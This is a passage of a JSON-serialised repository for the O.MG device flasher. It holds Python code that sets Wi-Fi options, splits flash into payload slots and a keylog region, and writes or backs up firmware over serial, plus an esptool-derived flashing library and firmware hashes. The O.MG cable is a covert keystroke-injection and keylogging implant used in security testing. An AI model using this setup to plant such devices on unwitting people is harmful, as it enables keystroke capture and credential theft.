False\n\n    detected_ports = ask_for_port()\n    devices = detected_ports\n    \n    results.PORT_PATH = devices\n    if len(devices) > 1:\n        results.PROG_FOUND = True\n    \n    if results.PROG_FOUND:\n        print(\"\\n<<< O.MG-PROGRAMMER WAS FOUND ON {PORT} >>>\".format(PORT=results.PORT_PATH))\n    else:\n        if results.OS_DETECTED == \"DARWIN\":\n            print(\"<<< O.MG-DEVICE-PROGRAMMER WAS NOT FOUND IN DEVICES, YOU MAY NEED TO INSTALL THE DRIVERS FOR CP210X USB BRIDGE >>>\\n\")\n            print(\"VISIT: [ https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers ]\\n\")\n        else:\n            print(\"<<< O.MG-PROGRAMMER WAS NOT FOUND IN DEVICES >>>\\n\")\n        complete(1)\n\ndef omg_reset_settings():\n    FILE_INIT = results.FILE_OFAT_INIT\n    try:\n        with open(FILE_INIT,'wb') as f:\n            fill = (4*1024)\n            init_cmd = \"\\00\"*abs(fill)\n            f.write(bytes(init_cmd.encode(\"utf-8\")))  \n    except:\n        print(\"Warning: Unable to reset \" + FILE_INIT)\n\n\ndef omg_patch(_ssid, _pass, _mode, slotsize=4, percent=60):\n    FILE_INIT = results.FILE_OFAT_INIT\n\n    init_cmd = \"INIT;\"\n    settings = {\n        \"wifimode\": _mode,\n        \"wifissid\": _ssid,\n        \"wifikey\": _pass\n    }\n    for config,value in settings.items():\n        init_cmd+=\"S:{KEY}{SEP}{VALUE};\".format(SEP=\"=\", KEY=config,VALUE=value)\n    #  once booted we know more, this is a sane default for now\n    # if we set this to %f we can actually erase and allocate at once\n    if slotsize>0:\n        init_cmd += \"F:keylog=0;F:payload1=0;F:payload2=0;F:payload3=0;F:payload4=0;F:payload5=0;F:payload6=0;F:payload7=0;F:bootscript=4;F:hidxfile=16;\"\n        ns = floor(((360*4)*(percent*.01))/(slotsize*4))\n        print(f\"[If Applicable] Number of Slots: {ns} with size {slotsize*4}k each based on {percent}% for payload slots\")\n        results.NUMBER_SLOTS = ns\n        for i in range(1,ns+1):\n            init_cmd+=\"f{SEP}payload{COUNT}={SLOT};\".format(SEP=\":\", COUNT=i, SLOT=int(slotsize))\n        init_cmd += \"f{SEP}keylog=100%F;\".format(SEP=\":\")   \n    init_cmd += \"\\0\"\n    try:\n        with open(FILE_INIT,'wb') as f:\n            length = len(init_cmd)\n            fill = (4*1024)-length\n            init_cmd += \"\\00\"*abs(fill)\n            f.write(bytes(init_cmd.encode(\"utf-8\")))  \n    except:\n        print(\"\\n<<< PATCH FAILURE, ABORTING >>>\")\n        complete(1)\n\n\ndef omg_input():\n    WIFI_MODE = ''\n    SANITIZED_SELECTION = False\n\n    while not SANITIZED_SELECTION:\n\n        try:\n            notemsg = \"Hitting enter without an option will default to AP Mode with SSID: %s Pass: %s\"%(results.WIFI_SSID,results.WIFI_PASS)\n            WIFI_MODE = input(\"\\nSELECT WIFI MODE\\n1: STATION - (Connect to existing network. 2.4GHz)\\n2: ACCESS POINT - (Create SSID. IP: 192.168.4.1)\\n[%s]\\nWifi Configuration [Hit Enter to use Defaults]: \"%notemsg)\n            if WIFI_MODE == '' or WIFI_MODE == '1' or WIFI_MODE == '2':\n                SANITIZED_SELECTION = True\n        except:\n            pass\n\n    if len(WIFI_MODE) == 1:\n        results.WIFI_DEFAULTS = False\n        results.WIFI_MODE = WIFI_MODE\n        if WIFI_MODE == '1':\n            results.WIFI_TYPE = 'STATION'\n        else:\n            results.WIFI_TYPE = 'ACCESS POINT'\n    else:\n        results.WIFI_DEFAULTS = True\n\n    if not results.WIFI_DEFAULTS:\n\n        WIFI_SSID = ''\n        SANITIZED_SELECTION = False\n\n        while not SANITIZED_SELECTION:\n            try:\n                WIFI_SSID = input(\"\\nENTER WIFI SSID (1-32 Characters): \")\n                if len(WIFI_SSID) > 1 and len(WIFI_SSID) < 33:\n                    SANITIZED_SELECTION = True\n            except:\n                pass\n\n        results.WIFI_SSID = WIFI_SSID\n\n        WIFI_PASS = ''\n        SANITIZED_SELECTION = False\n\n        while not SANITIZED_SELECTION:\n            try:\n                WIFI_PASS = input(\"\\nENTER WIFI PASS (8-64 Characters): \")\n                if len(WIFI_PASS) > 7 and len(WIFI_PASS) < 65:\n                    SANITIZED_SELECTION = True\n            except:\n                pass\n\n        results.WIFI_PASS = WIFI_PASS\n        \n    # enable to let user customize on plus an elite devices\n    # beta feature\n    PROMPT_FLASH_CUSTOMIZE = False \n    FLASH_CUSTOMIZE = 0\n    FLASH_SIZE = 4\n    FLASH_PAYLOAD_PERCENT = 60\n    SANITIZED_SELECTION = False\n    if PROMPT_FLASH_CUSTOMIZE:\n        while not SANITIZED_SELECTION:\n            try:\n                CUST_INPUT = str(input(\"\\nCUSTOMIZE PAYLOAD AND KEYLOG ALLOCATIONS?\\n(Note: Only compatible with Plus and Elite O.MG Devices)\\nBegin Customization? (Yes or No) [Default: No] \")).lower()\n                if \"yes\" in CUST_INPUT or \"no\" in CUST_INPUT or '' in CUST_INPUT:\n                    print(\"Using default\")\n                    SANITIZED_SELECTION = True\n                if \"yes\" in CUST_INPUT:\n                    FLASH_CUSTOMIZE=1\n            except:\n                pass\n\n    if FLASH_CUSTOMIZE:\n        SANITIZED_SELECTION = False\n        while not SANITIZED_SELECTION:\n            try:\n                CUST_INPUT = int(input(\"\\nPERCENTAGE OF FLASH ALLOCATED TO PAYLOAD: [Usually 40%] \").lower().replace(\"%\",\"\"))\n                if CUST_INPUT>0 and CUST_INPUT<101:\n                    SANITIZED_SELECTION=True\n                    FLASH_PAYLOAD_PERCENT = CUST_INPUT\n                elif '' in CUST_INPUT:\n                    SANITIZED_SELECTION=True\n                    print(\"Using default\")\n            except:\n                pass\n    \n        SANITIZED_SELECTION=False\n        while not SANITIZED_SELECTION:\n            try:\n                CUST_INPUT = int(str(input(\"\\nENTER PAYLOAD SLOT SIZE [Divisible By 4 between  4K and Max 32K]: \")).lower().replace(\"%\",\"\").replace(\"k\",\"\"))\n                if (CUST_INPUT%4)==0:\n                    FLASH_SIZE=(CUST_INPUT)/4\n                    SANITIZED_SELECTION=True\n                    if(CUST_INPUT>(360*4)):\n                       print(f\"{CUST_INPUT} is greater then the max size available.\")\n                    break\n                else:\n                    print(f\"\\n{CUST_INPUT} is not divisible by 4, try again. Note: Default is 4k\")\n            except:\n                pass\n        results.FLASH_SLOTS = FLASH_SIZE\n        results.FLASH_PAYLOAD_SIZE = FLASH_PAYLOAD_PERCENT\n        \n\ndef omg_flashfw(mac=None,flash_size=None):\n    if not mac and not flash_size:\n        mac, flash_size = get_dev_info(results.PORT_PATH)\n    # attempt to continue\n    try:\n        FILE_PAGE = results.FILE_PAGE\n        FILE_INIT = results.FILE_INIT\n        FILE_ELF0 = results.FILE_ELF0\n        FILE_ELF1 = results.FILE_ELF1\n        FILE_OFAT_INIT = results.FILE_OFAT_INIT\n\n        if flash_size < 0x200000:\n            command = ['--baud', baudrate, '--port', results.PORT_PATH, 'write_flash', '-fs', '1MB', '-fm', 'dout', '0xfc000', FILE_INIT, '0x00000', FILE_ELF0, '0x10000', FILE_ELF1, '0x80000', FILE_PAGE, '0x7f000', FILE_OFAT_INIT]\n        else:\n            command = ['--baud', baudrate, '--port', results.PORT_PATH, 'write_flash', '-fs', '2MB', '-fm', 'dout', '0x1fc000', FILE_INIT, '0x00000', FILE_ELF0, '0x10000', FILE_ELF1, '0x80000', FILE_PAGE, '0x7f000', FILE_OFAT_INIT]\n        print(\"\\n\\n\")\n        omg_flash(command)\n\n    except:\n        print(\"\\n<<< SOMETHING FAILED WHILE FLASHING >>>\")\n        complete(1)\n\ndef omg_runflash(pre_erase=False,skip_flash=False,skip_input=False,skip_reset=False):\n    # get info\n    mac, flash_size = get_dev_info(results.PORT_PATH)\n    if (pre_erase and skip_flash) or FLASHER_VERSION>=2:\n        if skip_flash:\n            print(\"Attempting to factory reset (erase) device...\")\n        else:\n            print(\"Attempting to clear device before flashing...\")\n        if flash_size < 0x200000:\n            command = ['--baud', baudrate, '--port', results.PORT_PATH, 'erase_region', '0x70000', '0x8A000']\n        else:\n            command = ['--baud', baudrate, '--port', results.PORT_PATH, 'erase_region', '0x70000', '0x18A000']\n        omg_flash(command)\n    if not skip_flash:\n        if not skip_input:\n            omg_input()\n        omg_patch(results.WIFI_SSID, results.WIFI_PASS, results.WIFI_MODE, results.FLASH_SLOTS, results.FLASH_PAYLOAD_SIZE)\n        omg_flashfw(mac,flash_size)\n        print(\"\\n[ WIFI SETTINGS ]\")\n        print(\"\\n    WIFI_SSID: {SSID}\\n    WIFI_PASS: {PASS}\\n    WIFI_MODE: {MODE}\\n    WIFI_TYPE: {TYPE}\".format(SSID=results.WIFI_SSID, PASS=results.WIFI_PASS, MODE=results.WIFI_MODE, TYPE=results.WIFI_TYPE))\n        print(\"\\n[ FIRMWARE USED ]\")\n        print(\"\\n    INIT: {INIT}\\n    ELF0: {ELF0}\\n    ELF1: {ELF1}\\n    PAGE: {PAGE}\".format(INIT=results.FILE_INIT, ELF0=results.FILE_ELF0, ELF1=results.FILE_ELF1, PAGE=results.FILE_PAGE))\n        if results.FLASH_SLOTS > 0:\n            print(\"\\n[ CUSTOM PAYLOAD CONFIGURATION ]\")\n            pp=results.FLASH_PAYLOAD_SIZE\n            kp=abs(100-results.FLASH_PAYLOAD_SIZE)\n            ns=int(results.FLASH_SLOTS*4)\n            np=results.NUMBER_SLOTS\n            print(f\"\\n    PERCENT FLASH PAYLOAD SPACE: {pp}\\n    PERCENT FLASH KEYLOG SPACE: {kp} (Where Applicable)\\n    NUMBER OF PAYLOADS: {np}\\n    SIZE OF PAYLOAD SLOTS: {ns}k\\n    \")\n    # attempt to always erase settings\n    if not skip_reset:\n        omg_reset_settings()\n    \ndef get_script_path():\n    return os.path.dirname(os.path.realpath(sys.argv[0]))\n\n\nif __name__ == '__main__':\n    signal(SIGINT, handler)\n    print(\"\\n\" + VERSION)\n    print(\"\\n\" + UPDATES)\n    print(\"\\n\" + MOTD + \"\\n\")\n\n    results = omg_results()\n    baudrate = '115200'\n\n    thedirectory = get_script_path()\n    os.chdir(thedirectory)\n\n    omg_tos()\n\n    omg_dependency_imports()\n\n    results.OS_DETECTED = platform.system().upper()\n\n    omg_locate()\n    \n    omg_reset_settings()\n\n    omg_probe()\n    \n    if FLASHER_VERSION_DETECT:\n        FLASHER_VERSION = ask_for_flasherhwver()\n    MENU_MODE = ''\n    SANITIZED_SELECTION = False\n\n    while not SANITIZED_SELECTION:\n        try:\n            menu_options = [\n                'FLASH NEW FIRMWARE',\n                'FACTORY RESET',\n                'FIRMWARE UPGRADE - BATCH MODE',\n                'FACTORY RESET - BATCH MODE',\n                'BACKUP DEVICE',\n                'DOWNLOAD FIRMWARE UPDATES',\n                'EXIT FLASHER',\n            ]\n            print(\"Available Options \\n\")\n            i = 1\n            for menu_option in menu_options:\n                 print(i,\" \",menu_option,end=\"\")\n                 if i == 1:\n                     print(\" (DEFAULT)\")\n                 else:\n                     print(\"\")\n                 i+=1    \n            menu_options = [''] \n            MENU_MODE = str(input(\"Select Option: \")).replace(\" \",\"\")\n            if MENU_MODE == '1' or MENU_MODE == '2' or MENU_MODE == '3' or MENU_MODE == '4' or MENU_MODE == '5' or MENU_MODE == '6' or  MENU_MODE == '7' or  MENU_MODE == '8':\n                SANITIZED_SELECTION = True\n        except:\n            pass\n    # handle python serial exceptions here        \n    try:\n        if MENU_MODE == '1':\n            print(\"\\nFIRMWARE UPGRADE\")\n            omg_runflash()\n            print(\"\\n<<< FIRMWARE PROCESS FINISHED, REMOVE DEVICE >>>\\n\")\n        elif MENU_MODE == '2':\n            print(\"\\nFACTORY RESET\")\n            omg_runflash(True,True)\n        elif MENU_MODE == '3':\n            baudrate = '460800'\n            \n            print(\"\\nFIRMWARE UPGRADE - BATCH MODE\")\n            omg_input()\n            repeating = ''\n            while repeating != 'e':\n                omg_runflash(True,skip_input=True,skip_reset=True)\n                repeating = input(\"\\n\\n<<< PRESS ENTER TO UPGRADE NEXT DEVICE, OR 'E' TO EXIT >>>\\n\")\n            omg_reset_settings()\n            complete(0)\n        elif MENU_MODE == '4':\n            baudrate = '460800'\n            print(\"\\nFACTORY RESET - BATCH MODE\")\n            omg_input()\n            repeating = ''\n            while repeating != 'e':\n                omg_runflash(True,True,skip_input=True,skip_reset=True)\n                repeating = input(\"\\n\\n<<< PRESS ENTER TO RESTORE NEXT DEVICE, OR 'E' TO EXIT >>>\\n\")\n        elif MENU_MODE == '5':\n            print(\"\\nBACKUP DEVICE\")\n            mac, flash_size = get_dev_info(results.PORT_PATH)\n            filename = \"backup-{MACLOW}-{TIMESTAMP}.img\".format(MACLOW=\"\".join([hex(m).lstrip(\"0x\") for m in mac]).lower(),TIMESTAMP=int(time()))\n            if flash_size < 0x200000:\n                command = ['--baud', baudrate, '--port', results.PORT_PATH, 'read_flash', '0x00000', '0x100000', filename]\n            else:\n                command = ['--baud', baudrate, '--port', results.PORT_PATH, 'read_flash', '0x00000', '0x200000', filename]\n            omg_flash(command)\n            print('Backup written to ', filename)\n        elif MENU_MODE == '6':\n            print(\"Attempting to update flash data...\")\n            d = omg_fetch_latest_firmware(True,FIRMWARE_DIR)\n            if d is not None and len(d) > 1:\n                print(\"\\n<<< LOAD SUCCESS. RELOADING DATA >>>\\n\\n\")\n            else:\n                print(\"\\n<<< LOAD FAILED. PLEASE MANUALLY DOWNLOAD FIRMWARE AND PLACE IN '%s' >>>\\n\\n\"%FIRMWARE_DIR)\n                complete(0)\n        elif MENU_MODE == '7':\n            print(\"<<< GOODBYE. FLASHER EXITING >>> \")\n            sys.exit(0)\n        else:\n            print(\"<<< NO VALID INPUT WAS DETECTED. >>>\")\n    except (flashapi.FatalError, serial.SerialException, serial.serialutil.SerialException) as e:\n        print(\"<<< FATAL ERROR: %s. PLEASE DISCONNECT AND RECONNECT DEVICE AND START TASK AGAIN >>>\"%str(e))\n        sys.exit(1) # special case\n    complete(0)\n"
  },
  {
    "path": "hashes.txt",
    "content": "f3cc103136423a57975750907ebc1d367e2985ac6338976d4d5a439f50323f4a  firmware/blank-settings.bin\nf47a8ec3e9aff2318d896942282ad4fe37d6391c82914f54a5da8a37de1300c6  firmware/blank.bin\nb2218087cf938ce665b26ac049f7d146677c70fe2909205a4d0e6a58aef0e4b3  firmware/esp_init_data_default_v08.bin\n3a6c59c9d9b6ee2b2e64531f75b7ea2367b7568c2a000ac0121f7d64bd0b31c4  firmware/image.elf-0x00000.bin\naa3bf523b84f5126e67ef5d619a0b86ce68f6fb0225655cafde1d9fcfbc38c57  firmware/image.elf-0x10000.bin\ndd76918d1d69e029947ec9b45151548a4bf3fe5cb5f1f1e40042927f4aa90fb3  firmware/page.mpfs\n"
  },
  {
    "path": "scripts/flashapi.py",
    "content": "#!/usr/bin/env python\n#\n# Copyright (C) Fredrik Ahlberg, Angus Gratton, Espressif Systems (Shanghai) PTE LTD,\n# Mischief Gadgets, LLC, other contributors as noted.\n#\n# This program is free software; you can redistribute it and/or modify it under\n# the terms of the GNU General Public License as published by the Free Software\n# Foundation; either version 2 of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but WITHOUT\n# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along with\n# this program; if not, write to the Free Software Foundation, Inc., 51 Franklin\n# Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nfrom __future__ import division, print_function\n\nimport argparse\nimport base64\nimport binascii\nimport copy\nimport hashlib\nimport inspect\nimport io\nimport os\nimport shlex\nimport string\nimport struct\nimport sys\nimport time\nimport zlib\n\ntry:\n    import serial\nexcept ImportError:\n    print(\"Pyserial is not installed for %s. Check the README for installation instructions.\" % (sys.executable))\n    raise\n\ntry:\n    if \"serialization\" in serial.__doc__ and \"deserialization\" in serial.__doc__:\n        raise ImportError(\"\"\"\nflashapi.py depends on pyserial, but there is a conflict with a currently installed package named 'serial'.\n\nYou may be able to work around this by 'pip uninstall serial; pip install pyserial' \\\nbut this may break other installed Python software that depends on 'serial'.\n\nThere is no good fix for this right now, apart from configuring virtualenvs.\"\"\")\nexcept TypeError:\n    pass\n\ntry:\n    import serial.tools.list_ports as list_ports\nexcept ImportError:\n    print(\"The installed version (%s) of pyserial appears to be too old for flashapi.py (Python interpreter %s). \"\n          \"Check the README for installation instructions.\" % (sys.VERSION, sys.executable))\n    raise\n\n__version__ = \"2.7-dev\"\n\nMAX_UINT32 = 0xffffffff\nMAX_UINT24 = 0xffffff\n\nDEFAULT_TIMEOUT = 3\nSTART_FLASH_TIMEOUT = 20\nCHIP_ERASE_TIMEOUT = 120\nMAX_TIMEOUT = CHIP_ERASE_TIMEOUT * 2\nSYNC_TIMEOUT = 0.1\nMD5_TIMEOUT_PER_MB = 8\nERASE_REGION_TIMEOUT_PER_MB = 30\nMEM_END_ROM_TIMEOUT = 0.05\nDEFAULT_SERIAL_WRITE_TIMEOUT = 10\n\n\ndef timeout_per_mb(seconds_per_mb, size_bytes):\n    result = seconds_per_mb * (size_bytes / 1e6)\n    if result < DEFAULT_TIMEOUT:\n        return DEFAULT_TIMEOUT\n    return result\n\n\nDETECTED_FLASH_SIZES = {0x12: '256KB', 0x13: '512KB', 0x14: '1MB',\n                        0x15: '2MB', 0x16: '4MB', 0x17: '8MB', 0x18: '16MB'}\n\n\ndef check_supported_function(func, check_func):\n    def inner(*args, **kwargs):\n        obj = args[0]\n        if check_func(obj):\n            return func(*args, **kwargs)\n        else:\n            raise NotImplementedInROMError(obj, func)\n\n    return inner\n\n\ndef stub_function_only(func):\n    return check_supported_function(func, lambda o: o.IS_STUB)\n\n\ndef stub_and_esp32_function_only(func):\n    return check_supported_function(func, lambda o: o.IS_STUB or o.CHIP_NAME == \"ESP32\")\n\n\nPYTHON2 = sys.version_info[0] < 3\n\nif PYTHON2:\n    def byte(bitstr, index):\n        return ord(bitstr[index])\nelse:\n    def byte(bitstr, index):\n        return bitstr[index]\n\ntry:\n    basestring\nexcept NameError:\n    basestring = str\n\n\ndef _mask_to_shift(mask):\n    shift = 0\n    while mask & 0x1 == 0:\n        shift += 1\n        mask >>= 1\n    return shift\n\n\ndef esp8266_function_only(func):\n    return check_supported_function(func, lambda o: o.CHIP_NAME == \"ESP8266\")\n\n\nclass ESPLoader(object):\n    CHIP_NAME = \"Espressif device\"\n    IS_STUB = False\n\n    DEFAULT_PORT = \"/dev/ttyUSB0\"\n\n    ESP_FLASH_BEGIN = 0x02\n    ESP_FLASH_DATA = 0x03\n    ESP_FLASH_END = 0x04\n    ESP_MEM_BEGIN = 0x05\n    ESP_MEM_END = 0x06\n    ESP_MEM_DATA = 0x07\n    ESP_SYNC = 0x08\n    ESP_WRITE_REG = 0x09\n    ESP_READ_REG = 0x0a\n\n    ESP_SPI_SET_PARAMS = 0x0B\n    ESP_SPI_ATTACH = 0x0D\n    ESP_CHANGE_BAUDRATE = 0x0F\n    ESP_FLASH_DEFL_BEGIN = 0x10\n    ESP_FLASH_DEFL_DATA = 0x11\n    ESP_FLASH_DEFL_END = 0x12\n    ESP_SPI_FLASH_MD5 = 0x13\n\n    ESP_ERASE_FLASH = 0xD0\n    ESP_ERASE_REGION = 0xD1\n    ESP_READ_FLASH = 0xD2\n    ESP_RUN_USER_CODE = 0xD3\n\n    ESP_FLASH_ENCRYPT_DATA = 0xD4\n\n    ESP_RAM_BLOCK = 0x1800\n\n    FLASH_WRITE_SIZE = 0x400\n\n    ESP_ROM_BAUD = 115200\n\n    ESP_IMAGE_MAGIC = 0xe9\n\n    ESP_CHECKSUM_MAGIC = 0xef\n\n    FLASH_SECTOR_SIZE = 0x1000\n\n    UART_DATA_REG_ADDR = 0x60000078\n\n    UART_CLKDIV_MASK = 0xFFFFF\n\n    IROM_MAP_START = 0x40200000\n    IROM_MAP_END = 0x40300000\n\n    STATUS_BYTES_LENGTH = 2\n\n    def __init__(self, port=DEFAULT_PORT, baud=ESP_ROM_BAUD, trace_enabled=False):\n        if isinstance(port, basestring):\n            self._port = serial.serial_for_url(port)\n        else:\n            self._port = port\n        self._slip_reader = slip_reader(self._port, self.trace)\n\n        self._set_port_baudrate(baud)\n        self._trace_enabled = trace_enabled\n\n        try:\n            self._port.write_timeout = DEFAULT_SERIAL_WRITE_TIMEOUT\n        except NotImplementedError:\n\n            self._port.write_timeout = None\n\n    def _set_port_baudrate(self, baud):\n        try:\n            self._port.baudrate = baud\n        except IOError:\n            raise FatalError(\"Failed to set baud rate %d. The driver may not support this rate.\" % baud)\n\n    @staticmethod\n    def detect_chip(port=DEFAULT_PORT, baud=ESP_ROM_BAUD, connect_mode='default_reset', trace_enabled=False):\n        detect_port = ESPLoader(port, baud, trace_enabled=trace_enabled)\n        detect_port.connect(connect_mode)\n        try:\n\n            sys.stdout.flush()\n            date_reg = detect_port.read_reg(ESPLoader.UART_DATA_REG_ADDR)\n\n            for cls in [ESP8266ROM, ESP32ROM]:\n                if date_reg == cls.DATE_REG_VALUE:\n                    inst = cls(detect_port._port, baud, trace_enabled=trace_enabled)\n\n                    return inst\n        finally:\n            print('...Connected.')\n        raise FatalError(\"Unexpected UART datecode value 0x%08x. Failed to autodetect chip type.\" % date_reg)\n\n    def read(self):\n        return next(self._slip_reader)\n\n    def write(self, packet):\n        buf = b'\\xc0' \\\n              + (packet.replace(b'\\xdb', b'\\xdb\\xdd').replace(b'\\xc0', b'\\xdb\\xdc')) \\\n              + b'\\xc0'\n        self.trace(\"Write %d bytes: %s\", len(buf), HexFormatter(buf))\n        self._port.write(buf)\n\n    def trace(self, message, *format_args):\n        if self._trace_enabled:\n            now = time.time()\n            try:\n\n                delta = now - self._last_trace\n            except AttributeError:\n                delta = 0.0\n            self._last_trace = now\n            prefix = \"TRACE +%.3f \" % delta\n            print(prefix + (message % format_args))\n\n    @staticmethod\n    def checksum(data, state=ESP_CHECKSUM_MAGIC):\n        for b in data:\n            if type(b) is int:\n                state ^= b\n            else:\n                state ^= ord(b)\n\n        return state\n\n    def command(self, op=None, data=b\"\", chk=0, wait_response=True, timeout=DEFAULT_TIMEOUT):\n        saved_timeout = self._port.timeout\n        new_timeout = min(timeout, MAX_TIMEOUT)\n        if new_timeout != saved_timeout:\n            self._port.timeout = new_timeout\n\n        try:\n            if op is not None:\n                self.trace(\"command op=0x%02x data len=%s wait_response=%d timeout=%.3f data=%s\",\n                           op, len(data), 1 if wait_response else 0, timeout, HexFormatter(data))\n                pkt = struct.pack(b'<BBHI', 0x00, op, len(data), chk) + data\n                self.write(pkt)\n\n            if not wait_response:\n                return\n\n            for retry in range(100):\n                p = self.read()\n                if len(p) < 8:\n                    continue\n                (resp, op_ret, len_ret, val) = struct.unpack('<BBHI', p[:8])\n                if resp != 1:\n                    continue\n                data = p[8:]\n                if op is None or op_ret == op:\n                    return val, data\n        finally:\n            if new_timeout != saved_timeout:\n                self._port.timeout = saved_timeout\n\n        raise FatalError(\"Response doesn't match request\")\n\n    def check_command(self, op_description, op=None, data=b'', chk=0, timeout=DEFAULT_TIMEOUT):\n        val, data = self.command(op, data, chk, timeout=timeout)\n\n        if len(data) < self.STATUS_BYTES_LENGTH:\n            raise FatalError(\"Failed to %s. Only got %d byte status response.\" % (op_description, len(data)))\n        status_bytes = data[-self.STATUS_BYTES_LENGTH:]\n\n        if byte(status_bytes, 0) != 0:\n            raise FatalError.WithResult('Failed to %s' % op_description, status_bytes)\n\n        if len(data) > self.STATUS_BYTES_LENGTH:\n            return data[:-self.STATUS_BYTES_LENGTH]\n        else:\n            return val\n\n    def flush_input(self):\n        self._port.flushInput()\n        self._slip_reader = slip_reader(self._port, self.trace)\n\n    def sync(self):\n        self.command(self.ESP_SYNC, b'\\x07\\x07\\x12\\x20' + 32 * b'\\x55',\n                     timeout=SYNC_TIMEOUT)\n        for i in range(7):\n            self.command()\n\n    def _setDTR(self, state):\n        self._port.setDTR(state)\n\n    def _setRTS(self, state):\n        self._port.setRTS(state)\n\n        self._port.setDTR(self._port.dtr)\n\n    def _connect_attempt(self, mode='default_reset', esp32r0_delay=False):\n\n        #\n\n        #\n\n        last_error = None\n\n        if mode == \"no_reset_no_sync\":\n            return last_error\n\n        #\n\n        if mode != 'no_reset':\n            self._setDTR(False)\n            self._setRTS(True)\n            time.sleep(0.1)\n            if esp32r0_delay:\n                time.sleep(1.2)\n            self._setDTR(True)\n            self._setRTS(False)\n            if esp32r0_delay:\n                time.sleep(0.4)\n            time.sleep(0.05)\n            self._setDTR(False)\n\n        for _ in range(5):\n            try:\n                self.flush_input()\n                self._port.flushOutput()\n                self.sync()\n                return None\n            except FatalError as e:\n                if esp32r0_delay:\n                    print('_', end='')\n                else:\n                    print('.', end='')\n                sys.stdout.flush()\n                time.sleep(0.05)\n                last_error = e\n        return last_error\n\n    def connect(self, mode='default_reset'):\n\n        print('Connecting...', end='')\n        sys.stdout.flush()\n        last_error = None\n\n        try:\n            for _ in range(7):\n                last_error = self._connect_attempt(mode=mode, esp32r0_delay=False)\n                if last_error is None:\n                    return\n                last_error = self._connect_attempt(mode=mode, esp32r0_delay=True)\n                if last_error is None:\n                    return\n        finally:\n            print('')\n        raise FatalError(\n            'ERROR: A programmer is detected, but no cable seems plugged in. Please try unplugging and replugging the cable and/or programmer. Please also make sure only one programmer is connected. (%s)' % (last_error))\n\n    def read_reg(self, addr):\n\n        val, data = self.command(self.ESP_READ_REG, struct.pack('<I', addr))\n        if byte(data, 0) != 0:\n            raise FatalError.WithResult(\"Failed to read register address %08x\" % addr, data)\n        return val\n\n    def write_reg(self, addr, value, mask=0xFFFFFFFF, delay_us=0):\n        return self.check_command(\"write target memory\", self.ESP_WRITE_REG,\n                                  struct.pack('<IIII', addr, value, mask, delay_us))\n\n    def update_reg(self, addr, mask, new_val):\n        shift = _mask_to_shift(mask)\n        val = self.read_reg(addr)\n        val &= ~mask\n        val |= (new_val << shift) & mask\n        self.write_reg(addr, val)\n\n        return val\n\n    def mem_begin(self, size, blocks, blocksize, offset):\n        if self.IS_STUB:\n            stub = self.STUB_CODE\n            load_start = offset\n            load_end = offset + size\n            for (start, end) in [(stub[\"data_start\"], stub[\"data_start\"] + len(stub[\"data\"])),\n                                 (stub[\"text_start\"], stub[\"text_start\"] + len(stub[\"text\"]))]:\n                if load_start < end and load_end > start:\n                    raise FatalError((\"Software loader is resident at 0x%08x-0x%08x. \" +\n                                      \"Can't load binary at overlapping address range 0x%08x-0x%08x. \" +\n                                      \"Either change binary loading address, or use the --no-stub \" +\n                                      \"option to disable the software loader.\") % (start, end, load_start, load_end))\n\n        return self.check_command(\"enter RAM download mode\", self.ESP_MEM_BEGIN,\n                                  struct.pack('<IIII', size, blocks, blocksize, offset))\n\n    def mem_block(self, data, seq):\n        return self.check_command(\"write to target RAM\", self.ESP_MEM_DATA,\n                                  struct.pack('<IIII', len(data), seq, 0, 0) + data,\n                                  self.checksum(data))\n\n    def mem_finish(self, entrypoint=0):\n\n        timeout = DEFAULT_TIMEOUT if self.IS_STUB else MEM_END_ROM_TIMEOUT\n        data = struct.pack('<II', int(entrypoint == 0), entrypoint)\n        try:\n            return self.check_command(\"leave RAM download mode\", self.ESP_MEM_END,\n                                      data=data, timeout=timeout)\n        except FatalError:\n            if self.IS_STUB:\n                raise\n            pass\n\n    def flash_begin(self, size, offset):\n        num_blocks = (size + self.FLASH_WRITE_SIZE - 1) // self.FLASH_WRITE_SIZE\n        erase_size = self.get_erase_size(offset, size)\n\n        t = time.time()\n        if self.IS_STUB:\n            timeout = DEFAULT_TIMEOUT\n        else:\n            timeout = timeout_per_mb(ERASE_REGION_TIMEOUT_PER_MB, size)\n        self.check_command(\"enter Flash download mode\", self.ESP_FLASH_BEGIN,\n                           struct.pack('<IIII', erase_size, num_blocks, self.FLASH_WRITE_SIZE, offset),\n                           timeout=timeout)\n        if size != 0 and not self.IS_STUB:\n            print(\"Took %.2fs to erase flash block\" % (time.time() - t))\n        return num_blocks\n\n    def flash_block(self, data, seq, timeout=DEFAULT_TIMEOUT):\n        self.check_command(\"write to target Flash after seq %d\" % seq,\n                           self.ESP_FLASH_DATA,\n                           struct.pack('<IIII', len(data), seq, 0, 0) + data,\n                           self.checksum(data),\n                           timeout=timeout)\n\n    def flash_encrypt_block(self, data, seq, timeout=DEFAULT_TIMEOUT):\n        self.check_command(\"Write encrypted to target Flash after seq %d\" % seq,\n                           self.ESP_FLASH_ENCRYPT_DATA,\n                           struct.pack('<IIII', len(data), seq, 0, 0) + data,\n                           self.checksum(data),\n                           timeout=timeout)\n\n    def flash_finish(self, reboot=False):\n        pkt = struct.pack('<I', int(not reboot))\n\n        self.check_command(\"leave Flash mode\", self.ESP_FLASH_END, pkt)\n\n    def run(self, reboot=False):\n\n        self.flash_begin(0, 0)\n        self.flash_finish(reboot)\n\n    def flash_id(self):\n        SPIFLASH_RDID = 0x9F\n        return self.run_spiflash_command(SPIFLASH_RDID, b\"\", 24)\n\n    def parse_flash_size_arg(self, arg):\n        try:\n            return self.FLASH_SIZES[arg]\n        except KeyError:\n            raise FatalError(\"Flash size '%s' is not supported by this chip type. Supported sizes: %s\"\n                             % (arg, \", \".join(self.FLASH_SIZES.keys())))\n\n    def run_stub(self, stub=None):\n        if stub is None:\n            if self.IS_STUB:\n                raise FatalError(\"Not possible for a stub to load another stub (memory likely to overlap.)\")\n            stub = self.STUB_CODE\n\n        print(\"Uploading stub...\")\n        for field in ['text', 'data']:\n            if field in stub:\n                offs = stub[field + \"_start\"]\n                length = len(stub[field])\n                blocks = (length + self.ESP_RAM_BLOCK - 1) // self.ESP_RAM_BLOCK\n                self.mem_begin(length, blocks, self.ESP_RAM_BLOCK, offs)\n                for seq in range(blocks):\n      